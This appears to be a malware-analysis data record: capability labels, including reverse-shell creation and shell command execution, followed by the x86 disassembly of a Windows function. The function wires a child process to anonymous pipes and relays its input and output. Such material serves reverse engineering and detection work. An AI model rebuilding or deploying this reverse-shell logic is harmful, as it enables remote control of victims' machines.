Function at 0x100057d6
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Create reverse shell
Create two anonymous pipes
Execute shell command and capture output
Read file on windows
Read pipe
Terminate process
Write and execute a file
Write file on windows
Write pipe

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0x2c]
sub esp, 0x44
mov ecx, dword [0x1006ed1c]
push ebx
push esi
push edi
mov edi, dword [eax + ecx*4]
or esi, 0xffffffff
mov eax, dword [0x10073c90]
xor ebx, ebx
cmp eax, dword [edi + 4]
jle 0x10005835
push 0x10073c90
call fcn.10031cae
pop ecx
cmp dword [0x10073c90], esi
jne 0x10005835
push ebx
mov ecx, 0x10073bf0
call fcn.10004836
push 0x100550b0
call fcn.10032100
mov dword [esp], 0x10073c90
call fcn.10031c6f
pop ecx
mov eax, dword [0x10073c70]
cmp eax, dword [edi + 4]
jle 0x10005872
mov edi, 0x10073c70
push edi
call fcn.10031cae
pop ecx
cmp dword [0x10073c70], esi
jne 0x10005872
mov ecx, 0x10073c98
call fcn.1000210e
push 0x100550a6
call fcn.10032100
pop ecx
push edi
call fcn.10031c6f
pop ecx
lea ecx, [ebp - 0x28]
call fcn.1000210e
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [ebp - 4], ebx
cmp byte [0x1006fae6], bl
jne 0x100059f3
mov edx, 0x10062778
mov ecx, 0x10071f70
call fcn.10005c55
test al, al
je 0x10005b79
push 0x10062780
call fcn.10039a5a
pop ecx
mov esi, 0x10073c98
push eax
mov ecx, esi
call fcn.10005bf1
push 0x1006278c
mov ecx, esi
call fcn.100054ac
mov esi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push ebx
push 0x10073b98
push 0x10073c74
push 0x10073c8c
mov dword [0x10073b98], 0xc
mov dword [0x10073ba0], 1
mov dword [0x10073b9c], ebx
call esi
test eax, eax
je 0x10005b9b
push ebx
push 0x10073b98
push 0x10073c94
push 0x10073c78
call esi
test eax, eax
je 0x10005b9b
push 0x44
pop esi
push esi
push ebx
push 0x10073ba8
call fcn.10034cb0
add esp, 0xc
mov dword [0x10073ba8], esi
xor eax, eax
mov dword [0x10073bd4], 0x101
mov word [0x10073bd8], ax
mov ecx, 0x10073c98
mov eax, dword [0x10073c8c]
push 0x10073c7c
mov dword [0x10073be0], eax
mov eax, dword [0x10073c94]
push 0x10073ba8
mov dword [0x10073be4], eax
mov dword [0x10073be8], eax
call fcn.10001fce
push eax
push ebx
push ebx
push 1
push ebx
mov esi, 0x10071f70
push ebx
mov ecx, esi
call fcn.10001fce
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
mov ecx, esi
push 0x10062774
setne byte [0x1006fae6]
call fcn.10005bf1
mov esi, 0x10073bf0
mov byte [0x1006fae7], 1
mov ecx, esi
call fcn.1000496f
push ecx
mov ecx, esi
call fcn.10004a0a
sub esp, 0x18
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.10002125
push 0x93
mov ecx, esi
call fcn.10004be3
push 0x12c
mov esi, eax
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1006fae6], bl
je 0x10005b79
push ebx
lea eax, [ebp - 8]
mov dword [ebp - 8], ebx
push eax
push ebx
push ebx
push ebx
push dword [0x10073c78]
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
cmp dword [ebp - 8], ebx
jbe 0x10005ab3
push dword [ebp - 8]
call fcn.100396d2
pop ecx
push ebx
lea ecx, [ebp - 0xc]
mov dword [ebp - 0x10], eax
push ecx
push dword [ebp - 8]
push eax
push dword [0x10073c78]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xc], ebx
jbe 0x10005aa8
cmp dword [ebp - 4], ebx
jbe 0x10005a74
push dword [ebp - 4]
lea ecx, [ebp - 0x28]
call fcn.10001fce
mov esi, dword [ebp - 0x10]
push eax
push esi
call fcn.100396e0
add esp, 0xc
test eax, eax
jne 0x10005a77
push esi
lea ecx, [ebp - 0x40]
call fcn.100020bd
mov eax, dword [ebp - 0xc]
sub eax, dword [ebp - 4]
sub esp, 0x18
mov ecx, esp
push eax
push dword [ebp - 4]
jmp 0x10005a89
mov esi, dword [ebp - 0x10]
push esi
lea ecx, [ebp - 0x40]
call fcn.100020bd
sub esp, 0x18
mov ecx, esp
push dword [ebp - 0xc]
push ebx
lea eax, [ebp - 0x40]
push eax
call fcn.10005bfa
push 0x62
mov ecx, 0x10073bf0
call fcn.10004be3
lea ecx, [ebp - 0x40]
mov esi, eax
call fcn.10002000
push dword [ebp - 0x10]
call fcn.100396cd
pop ecx
jmp 0x10005ad0
sub esp, 0x18
mov ecx, esp
push 0x10062774
call fcn.100020bd
push 0x62
mov ecx, 0x10073bf0
call fcn.10004be3
mov esi, eax
movzx eax, byte [0x1006fae7]
xor ecx, ecx
test esi, esi
cmovle eax, ecx
mov ecx, 0x10071f70
mov byte [0x1006fae7], al
call fcn.100024c2
test eax, eax
je 0x10005b45
push 0x10062790
mov ecx, 0x10071f70
call fcn.100054ac
push 0x10071f70
lea ecx, [ebp - 0x28]
call fcn.10001fe6
push ebx
lea eax, [ebp - 4]
mov ecx, 0x10071f70
push eax
call fcn.100024c2
push eax
mov ecx, 0x10071f70
call fcn.10001fce
push eax
push dword [0x10073c74]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push 0x10062774
mov ecx, 0x10071f70
call fcn.10005bf1
jmp 0x10005b48
mov dword [ebp - 4], ebx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x1006fae7], bl
jne 0x100059f3
push ebx
push dword [0x10073c7c]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [0x10073c80]
call edi
push dword [0x10073c7c]
call edi
mov ecx, 0x10073bf0
call fcn.10004f4b
push dword [0x10073c78]
call edi
push dword [0x10073c94]
call edi
mov byte [0x1006fae6], bl
mov bl, 1
lea ecx, [ebp - 0x28]
call fcn.10002000
lea ecx, [ebp + 8]
call fcn.10002000
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret